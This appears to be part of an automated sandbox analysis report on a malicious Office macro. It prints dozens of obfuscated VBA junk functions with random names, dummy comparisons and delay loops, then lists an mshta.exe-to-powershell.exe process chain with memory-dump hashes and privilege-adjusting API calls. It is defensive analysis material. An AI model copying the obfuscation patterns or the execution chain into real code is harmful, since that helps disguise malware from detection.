87	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
87	End
87	Endif
88	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
88	End
88	Endif
89	If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then
89	End
89	Endif
90	Goto LaVESrsScoQkOnFfF
90	LaVESrsScoQkOnFfF:
93	End Function

Function SADYAESdyLyl, APIs: 0, Strings: 9, Number of lines: 18, Relevance: 15.018

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"
"PhSQwQicurO"
"umiuKavjsPKoqQrwEtZi"

Line	Instruction	Meta Information
70	Public Function SADYAESdyLyl()
71	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
71	End
71	Endif
72	Dim qhGjOMujDtky as Long
73	qhGjOMujDtky = "4755"
74	Goto DnxDzLdezAJ
74	DnxDzLdezAJ:
76	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
76	End
76	Endif
77	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
77	End
77	Endif
78	If "PhSQwQicurO" = "umiuKavjsPKoqQrwEtZi" Then
78	End
78	Endif
80	End Function

Function hHvsmECZuS, APIs: 0, Strings: 7, Number of lines: 15, Relevance: 12.015

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"
"SoqzJEixPkDxnScc"
"tfYfJVUlpsjIY"

Line	Instruction	Meta Information
60	Public Function hHvsmECZuS()
61	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
61	End
61	Endif
62	Dim qhGjOMujDtky as Long
63	qhGjOMujDtky = "4755"
64	Goto DnxDzLdezAJ
64	DnxDzLdezAJ:
66	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
66	End
66	Endif
67	If "SoqzJEixPkDxnScc" = "tfYfJVUlpsjIY" Then
67	End
67	Endif
69	End Function

Subroutine QAPwCVeTzuvty, APIs: 0, Strings: 5, Number of lines: 12, Relevance: 9.012

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"
"MyORUMlOteZN"
"jaoyhhTGhDQfLe"

Line	Instruction	Meta Information
51	Public Sub QAPwCVeTzuvty()
52	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
52	End
52	Endif
53	Dim qhGjOMujDtky as Long
54	qhGjOMujDtky = "4755"
55	Goto DnxDzLdezAJ
55	DnxDzLdezAJ:
57	If "MyORUMlOteZN" = "jaoyhhTGhDQfLe" Then
57	End
57	Endif
59	End Sub

Subroutine aaBJQySxVnzo, APIs: 0, Strings: 3, Number of lines: 9, Relevance: 6.009

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"

Line	Instruction	Meta Information
43	Public Sub aaBJQySxVnzo()
44	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
44	End
44	Endif
45	Dim qhGjOMujDtky as Long
46	qhGjOMujDtky = "4755"
47	Goto DnxDzLdezAJ
47	DnxDzLdezAJ:
50	End Sub

Subroutine PvrrqugmtK, APIs: 0, Strings: 3, Number of lines: 7, Relevance: 6.007

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"
"4755"

Line	Instruction	Meta Information
37	Private Sub PvrrqugmtK()
38	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
38	End
38	Endif
39	Dim qhGjOMujDtky as Long
40	qhGjOMujDtky = "4755"
42	End Sub

Function nQedtxArQgZ, APIs: 0, Strings: 2, Number of lines: 5, Relevance: 4.505

Strings	Decrypted Strings
"BYHSZUgxLTUfCxbcIPi"
"zEROxKkkLThIdHgxYyJD"

Line	Instruction	Meta Information
33	Private Function nQedtxArQgZ()
34	If "zEROxKkkLThIdHgxYyJD" = "BYHSZUgxLTUfCxbcIPi" Then
34	End
34	Endif
36	End Function

Subroutine lyYYzHUwQvTlLmxr, APIs: 1, Strings: 10, Number of lines: 39, Relevance: 16.539

APIs	Meta Information
DoEvents

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"
"4699"
"586"

Line	Instruction	Meta Information
626	Private Sub lyYYzHUwQvTlLmxr()
627	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
627	End
627	Endif
628	Dim oTPPNSEKRjJIZOR as Integer
629	oTPPNSEKRjJIZOR = "2285"
630	Dim xVnzolfxuRBLRNZqrMO as Integer
631	xVnzolfxuRBLRNZqrMO = "1744"
632	Dim HJBbDiSOCQNESdLK as Integer
633	HJBbDiSOCQNESdLK = "7691"
634	Dim KTeZCRlEYSHnwxvAl as String
635	KTeZCRlEYSHnwxvAl = "6544"
636	Dim onOwNzDeEPJcZvQqiep as Long
637	onOwNzDeEPJcZvQqiep = "6843"
638	Dim YfIVUlprjIYPAikFimA as Currency
639	YfIVUlprjIYPAikFimA = "5942"
640	Goto HPQaytVYEKemcH
640	HPQaytVYEKemcH:
642	Dim SxvdRmdTisbaN as Integer
643	SxvdRmdTisbaN = 7
644	Do While SxvdRmdTisbaN < 25
644	DoEvents:
645	SxvdRmdTisbaN = SxvdRmdTisbaN + 1
646	Loop
647	Dim wapVcvDtZTUSYIBInN as Integer
648	wapVcvDtZTUSYIBInN = "4699"
649	Goto bMQqfcVolHeCIEPTi
649	bMQqfcVolHeCIEPTi:
651	Goto kpaSaERQhknf
651	kpaSaERQhknf:
653	Goto QqQcVolIeCurCTiDrA
653	QqQcVolIeCurCTiDrA:
655	Dim hkbAPIsadx as Integer
656	For hkbAPIsadx = 3 To 12
657	DoEvents	DoEvents
658	Next hkbAPIsadx
659	Dim syuGQmtvEcQ as String
660	syuGQmtvEcQ = "586"
662	End Sub

Subroutine AefLgltjOYYQcyFM, APIs: 1, Strings: 9, Number of lines: 37, Relevance: 15.037

APIs	Meta Information
DoEvents

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"
"4699"

Line	Instruction	Meta Information
591	Public Sub AefLgltjOYYQcyFM()
592	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
592	End
592	Endif
593	Dim oTPPNSEKRjJIZOR as Integer
594	oTPPNSEKRjJIZOR = "2285"
595	Dim xVnzolfxuRBLRNZqrMO as Integer
596	xVnzolfxuRBLRNZqrMO = "1744"
597	Dim HJBbDiSOCQNESdLK as Integer
598	HJBbDiSOCQNESdLK = "7691"
599	Dim KTeZCRlEYSHnwxvAl as String
600	KTeZCRlEYSHnwxvAl = "6544"
601	Dim onOwNzDeEPJcZvQqiep as Long
602	onOwNzDeEPJcZvQqiep = "6843"
603	Dim YfIVUlprjIYPAikFimA as Currency
604	YfIVUlprjIYPAikFimA = "5942"
605	Goto HPQaytVYEKemcH
605	HPQaytVYEKemcH:
607	Dim SxvdRmdTisbaN as Integer
608	SxvdRmdTisbaN = 7
609	Do While SxvdRmdTisbaN < 25
609	DoEvents:
610	SxvdRmdTisbaN = SxvdRmdTisbaN + 1
611	Loop
612	Dim wapVcvDtZTUSYIBInN as Integer
613	wapVcvDtZTUSYIBInN = "4699"
614	Goto bMQqfcVolHeCIEPTi
614	bMQqfcVolHeCIEPTi:
616	Goto kpaSaERQhknf
616	kpaSaERQhknf:
618	Goto QqQcVolIeCurCTiDrA
618	QqQcVolIeCurCTiDrA:
620	Dim hkbAPIsadx as Integer
621	For hkbAPIsadx = 3 To 12
622	DoEvents	DoEvents
623	Next hkbAPIsadx
625	End Sub

Function aSCkmHkoCMhviUvRQ, APIs: 0, Strings: 9, Number of lines: 33, Relevance: 11.283

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"
"4699"

Line	Instruction	Meta Information
560	Public Function aSCkmHkoCMhviUvRQ()
561	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
561	End
561	Endif
562	Dim oTPPNSEKRjJIZOR as Integer
563	oTPPNSEKRjJIZOR = "2285"
564	Dim xVnzolfxuRBLRNZqrMO as Integer
565	xVnzolfxuRBLRNZqrMO = "1744"
566	Dim HJBbDiSOCQNESdLK as Integer
567	HJBbDiSOCQNESdLK = "7691"
568	Dim KTeZCRlEYSHnwxvAl as String
569	KTeZCRlEYSHnwxvAl = "6544"
570	Dim onOwNzDeEPJcZvQqiep as Long
571	onOwNzDeEPJcZvQqiep = "6843"
572	Dim YfIVUlprjIYPAikFimA as Currency
573	YfIVUlprjIYPAikFimA = "5942"
574	Goto HPQaytVYEKemcH
574	HPQaytVYEKemcH:
576	Dim SxvdRmdTisbaN as Integer
577	SxvdRmdTisbaN = 7
578	Do While SxvdRmdTisbaN < 25
578	DoEvents:
579	SxvdRmdTisbaN = SxvdRmdTisbaN + 1
580	Loop
581	Dim wapVcvDtZTUSYIBInN as Integer
582	wapVcvDtZTUSYIBInN = "4699"
583	Goto bMQqfcVolHeCIEPTi
583	bMQqfcVolHeCIEPTi:
585	Goto kpaSaERQhknf
585	kpaSaERQhknf:
587	Goto QqQcVolIeCurCTiDrA
587	QqQcVolIeCurCTiDrA:
590	End Function

Subroutine bkupSiBUoj, APIs: 0, Strings: 9, Number of lines: 31, Relevance: 11.281

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"
"4699"

Line	Instruction	Meta Information
531	Private Sub bkupSiBUoj()
532	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
532	End
532	Endif
533	Dim oTPPNSEKRjJIZOR as Integer
534	oTPPNSEKRjJIZOR = "2285"
535	Dim xVnzolfxuRBLRNZqrMO as Integer
536	xVnzolfxuRBLRNZqrMO = "1744"
537	Dim HJBbDiSOCQNESdLK as Integer
538	HJBbDiSOCQNESdLK = "7691"
539	Dim KTeZCRlEYSHnwxvAl as String
540	KTeZCRlEYSHnwxvAl = "6544"
541	Dim onOwNzDeEPJcZvQqiep as Long
542	onOwNzDeEPJcZvQqiep = "6843"
543	Dim YfIVUlprjIYPAikFimA as Currency
544	YfIVUlprjIYPAikFimA = "5942"
545	Goto HPQaytVYEKemcH
545	HPQaytVYEKemcH:
547	Dim SxvdRmdTisbaN as Integer
548	SxvdRmdTisbaN = 7
549	Do While SxvdRmdTisbaN < 25
549	DoEvents:
550	SxvdRmdTisbaN = SxvdRmdTisbaN + 1
551	Loop
552	Dim wapVcvDtZTUSYIBInN as Integer
553	wapVcvDtZTUSYIBInN = "4699"
554	Goto bMQqfcVolHeCIEPTi
554	bMQqfcVolHeCIEPTi:
556	Goto kpaSaERQhknf
556	kpaSaERQhknf:
559	End Sub

Function RJjLqbVKfVMalTSGsT, APIs: 0, Strings: 9, Number of lines: 29, Relevance: 11.279

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"
"4699"

Line	Instruction	Meta Information
504	Public Function RJjLqbVKfVMalTSGsT()
505	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
505	End
505	Endif
506	Dim oTPPNSEKRjJIZOR as Integer
507	oTPPNSEKRjJIZOR = "2285"
508	Dim xVnzolfxuRBLRNZqrMO as Integer
509	xVnzolfxuRBLRNZqrMO = "1744"
510	Dim HJBbDiSOCQNESdLK as Integer
511	HJBbDiSOCQNESdLK = "7691"
512	Dim KTeZCRlEYSHnwxvAl as String
513	KTeZCRlEYSHnwxvAl = "6544"
514	Dim onOwNzDeEPJcZvQqiep as Long
515	onOwNzDeEPJcZvQqiep = "6843"
516	Dim YfIVUlprjIYPAikFimA as Currency
517	YfIVUlprjIYPAikFimA = "5942"
518	Goto HPQaytVYEKemcH
518	HPQaytVYEKemcH:
520	Dim SxvdRmdTisbaN as Integer
521	SxvdRmdTisbaN = 7
522	Do While SxvdRmdTisbaN < 25
522	DoEvents:
523	SxvdRmdTisbaN = SxvdRmdTisbaN + 1
524	Loop
525	Dim wapVcvDtZTUSYIBInN as Integer
526	wapVcvDtZTUSYIBInN = "4699"
527	Goto bMQqfcVolHeCIEPTi
527	bMQqfcVolHeCIEPTi:
530	End Function

Function wQvTlxmjdvsPzJPLYop, APIs: 0, Strings: 9, Number of lines: 27, Relevance: 11.277

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"
"4699"

Line	Instruction	Meta Information
479	Public Function wQvTlxmjdvsPzJPLYop()
480	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
480	End
480	Endif
481	Dim oTPPNSEKRjJIZOR as Integer
482	oTPPNSEKRjJIZOR = "2285"
483	Dim xVnzolfxuRBLRNZqrMO as Integer
484	xVnzolfxuRBLRNZqrMO = "1744"
485	Dim HJBbDiSOCQNESdLK as Integer
486	HJBbDiSOCQNESdLK = "7691"
487	Dim KTeZCRlEYSHnwxvAl as String
488	KTeZCRlEYSHnwxvAl = "6544"
489	Dim onOwNzDeEPJcZvQqiep as Long
490	onOwNzDeEPJcZvQqiep = "6843"
491	Dim YfIVUlprjIYPAikFimA as Currency
492	YfIVUlprjIYPAikFimA = "5942"
493	Goto HPQaytVYEKemcH
493	HPQaytVYEKemcH:
495	Dim SxvdRmdTisbaN as Integer
496	SxvdRmdTisbaN = 7
497	Do While SxvdRmdTisbaN < 25
497	DoEvents:
498	SxvdRmdTisbaN = SxvdRmdTisbaN + 1
499	Loop
500	Dim wapVcvDtZTUSYIBInN as Integer
501	wapVcvDtZTUSYIBInN = "4699"
503	End Function

Function cafPQeuVUl, APIs: 0, Strings: 8, Number of lines: 25, Relevance: 10.025

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"

Line	Instruction	Meta Information
456	Public Function cafPQeuVUl()
457	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
457	End
457	Endif
458	Dim oTPPNSEKRjJIZOR as Integer
459	oTPPNSEKRjJIZOR = "2285"
460	Dim xVnzolfxuRBLRNZqrMO as Integer
461	xVnzolfxuRBLRNZqrMO = "1744"
462	Dim HJBbDiSOCQNESdLK as Integer
463	HJBbDiSOCQNESdLK = "7691"
464	Dim KTeZCRlEYSHnwxvAl as String
465	KTeZCRlEYSHnwxvAl = "6544"
466	Dim onOwNzDeEPJcZvQqiep as Long
467	onOwNzDeEPJcZvQqiep = "6843"
468	Dim YfIVUlprjIYPAikFimA as Currency
469	YfIVUlprjIYPAikFimA = "5942"
470	Goto HPQaytVYEKemcH
470	HPQaytVYEKemcH:
472	Dim SxvdRmdTisbaN as Integer
473	SxvdRmdTisbaN = 7
474	Do While SxvdRmdTisbaN < 25
474	DoEvents:
475	SxvdRmdTisbaN = SxvdRmdTisbaN + 1
476	Loop
478	End Function

Function qrRbnPjNmEeEPJcKiRc, APIs: 0, Strings: 8, Number of lines: 19, Relevance: 10.019

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"

Line	Instruction	Meta Information
438	Public Function qrRbnPjNmEeEPJcKiRc()
439	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
439	End
439	Endif
440	Dim oTPPNSEKRjJIZOR as Integer
441	oTPPNSEKRjJIZOR = "2285"
442	Dim xVnzolfxuRBLRNZqrMO as Integer
443	xVnzolfxuRBLRNZqrMO = "1744"
444	Dim HJBbDiSOCQNESdLK as Integer
445	HJBbDiSOCQNESdLK = "7691"
446	Dim KTeZCRlEYSHnwxvAl as String
447	KTeZCRlEYSHnwxvAl = "6544"
448	Dim onOwNzDeEPJcZvQqiep as Long
449	onOwNzDeEPJcZvQqiep = "6843"
450	Dim YfIVUlprjIYPAikFimA as Currency
451	YfIVUlprjIYPAikFimA = "5942"
452	Goto HPQaytVYEKemcH
452	HPQaytVYEKemcH:
455	End Function

Subroutine foLGkmSmsApUe, APIs: 0, Strings: 8, Number of lines: 17, Relevance: 10.017

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"
"5942"

Line	Instruction	Meta Information
422	Private Sub foLGkmSmsApUe()
423	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
423	End
423	Endif
424	Dim oTPPNSEKRjJIZOR as Integer
425	oTPPNSEKRjJIZOR = "2285"
426	Dim xVnzolfxuRBLRNZqrMO as Integer
427	xVnzolfxuRBLRNZqrMO = "1744"
428	Dim HJBbDiSOCQNESdLK as Integer
429	HJBbDiSOCQNESdLK = "7691"
430	Dim KTeZCRlEYSHnwxvAl as String
431	KTeZCRlEYSHnwxvAl = "6544"
432	Dim onOwNzDeEPJcZvQqiep as Long
433	onOwNzDeEPJcZvQqiep = "6843"
434	Dim YfIVUlprjIYPAikFimA as Currency
435	YfIVUlprjIYPAikFimA = "5942"
437	End Sub

Function ZYosumLbSDlnHkpDNi, APIs: 0, Strings: 7, Number of lines: 15, Relevance: 8.765

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"
"6843"

Line	Instruction	Meta Information
408	Public Function ZYosumLbSDlnHkpDNi()
409	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
409	End
409	Endif
410	Dim oTPPNSEKRjJIZOR as Integer
411	oTPPNSEKRjJIZOR = "2285"
412	Dim xVnzolfxuRBLRNZqrMO as Integer
413	xVnzolfxuRBLRNZqrMO = "1744"
414	Dim HJBbDiSOCQNESdLK as Integer
415	HJBbDiSOCQNESdLK = "7691"
416	Dim KTeZCRlEYSHnwxvAl as String
417	KTeZCRlEYSHnwxvAl = "6544"
418	Dim onOwNzDeEPJcZvQqiep as Long
419	onOwNzDeEPJcZvQqiep = "6843"
421	End Function

Subroutine iuIqHuyYLJDVSpLkqm, APIs: 0, Strings: 6, Number of lines: 13, Relevance: 7.513

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"
"6544"

Line	Instruction	Meta Information
396	Public Sub iuIqHuyYLJDVSpLkqm()
397	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
397	End
397	Endif
398	Dim oTPPNSEKRjJIZOR as Integer
399	oTPPNSEKRjJIZOR = "2285"
400	Dim xVnzolfxuRBLRNZqrMO as Integer
401	xVnzolfxuRBLRNZqrMO = "1744"
402	Dim HJBbDiSOCQNESdLK as Integer
403	HJBbDiSOCQNESdLK = "7691"
404	Dim KTeZCRlEYSHnwxvAl as String
405	KTeZCRlEYSHnwxvAl = "6544"
407	End Sub

Subroutine eubhAIxdZZQcNGN, APIs: 0, Strings: 5, Number of lines: 11, Relevance: 6.261

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"
"7691"

Line	Instruction	Meta Information
386	Public Sub eubhAIxdZZQcNGN()
387	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
387	End
387	Endif
388	Dim oTPPNSEKRjJIZOR as Integer
389	oTPPNSEKRjJIZOR = "2285"
390	Dim xVnzolfxuRBLRNZqrMO as Integer
391	xVnzolfxuRBLRNZqrMO = "1744"
392	Dim HJBbDiSOCQNESdLK as Integer
393	HJBbDiSOCQNESdLK = "7691"
395	End Sub

Subroutine YVDsMDuHSBAooP, APIs: 0, Strings: 4, Number of lines: 9, Relevance: 5.009

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"
"1744"

Line	Instruction	Meta Information
378	Public Sub YVDsMDuHSBAooP()
379	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
379	End
379	Endif
380	Dim oTPPNSEKRjJIZOR as Integer
381	oTPPNSEKRjJIZOR = "2285"
382	Dim xVnzolfxuRBLRNZqrMO as Integer
383	xVnzolfxuRBLRNZqrMO = "1744"
385	End Sub

Function doFUcenKFjl, APIs: 0, Strings: 3, Number of lines: 7, Relevance: 3.757

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"
"2285"

Line	Instruction	Meta Information
372	Private Function doFUcenKFjl()
373	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
373	End
373	Endif
374	Dim oTPPNSEKRjJIZOR as Integer
375	oTPPNSEKRjJIZOR = "2285"
377	End Function

Function fDxbdJejrhMVVUawDKpB, APIs: 0, Strings: 2, Number of lines: 5, Relevance: 2.505

Strings	Decrypted Strings
"NpJoMeEfqkClIsC"
"yQmfPxzTwBOLuHhhI"

Line	Instruction	Meta Information
368	Public Function fDxbdJejrhMVVUawDKpB()
369	If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then
369	End
369	Endif
371	End Function

Reset < >

Analysis Process: mshta.exe PID: 2756 Parent PID: 2476 mshta.exeCOMMON

Executed Functions

Function 03720499, Relevance: 1.0, Instructions: 1043COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243039190.0000000003720000.00000010.00000001.sdmp, Offset: 03720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0a99829f9e345938729947e8649825ac25e26d1e7fdef9cfe6dab6555a27d38
Instruction ID: f0d691df1bd9817e8f8f16ce4fc1cd38914f65eccd5298c2f081d1f6dca981b3
Opcode Fuzzy Hash: b0a99829f9e345938729947e8649825ac25e26d1e7fdef9cfe6dab6555a27d38
Instruction Fuzzy Hash: AC41062061CE9D0FE79AD77C59586307FE1EF5A34471845DBE88FD72A3DA208C9283A1

Uniqueness

Uniqueness Score: -1.00%

Function 03490F19, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03490F31, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03490FB9, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03490ED1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03490D49, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03490D59, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03490D61, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03490D99, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2243071002.0000000003490000.00000010.00000001.sdmp, Offset: 03490000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction ID: 214a9aff65593042037e2f908b5e0cb84f66848594b3982744a8b070eec06d45
Opcode Fuzzy Hash: a2c7715355f701b5c485f774b46f78ebcbaf2f66079cf9d91e45f325caf200a8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2816 Parent PID: 2756 powershell.exeCOMMON

Executed Functions

Function 003FACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 003FAD37

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 48f09a23757f8de17c670f6d1b341bc3ee40523bb938d2fc5f5bb66e6cf2eda7
Instruction ID: 06320442b9ee58a8ed4e617e14042ecd28f97fb0eb7e56d4c7e1fca3fd5978a0
Opcode Fuzzy Hash: 48f09a23757f8de17c670f6d1b341bc3ee40523bb938d2fc5f5bb66e6cf2eda7
Instruction Fuzzy Hash: 7821F3755097C49FDB238F25DC40B92BFF4EF16311F0984DAE9888B563D2309908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 003FAD37

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 84e71c37a1d2041d75cc83846323fef083d765ff46d00f89f495ca7b0a995902
Instruction ID: 608d92f134aced0b9acb3eabcbfefa65b278267818aa88dc2eaf802855cee55b
Opcode Fuzzy Hash: 84e71c37a1d2041d75cc83846323fef083d765ff46d00f89f495ca7b0a995902
Instruction Fuzzy Hash: 71117375500B44DFDB21CF55D884B66FBE4EF04311F04C46AED498BA62D731E814DB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FB2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 003FB329

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

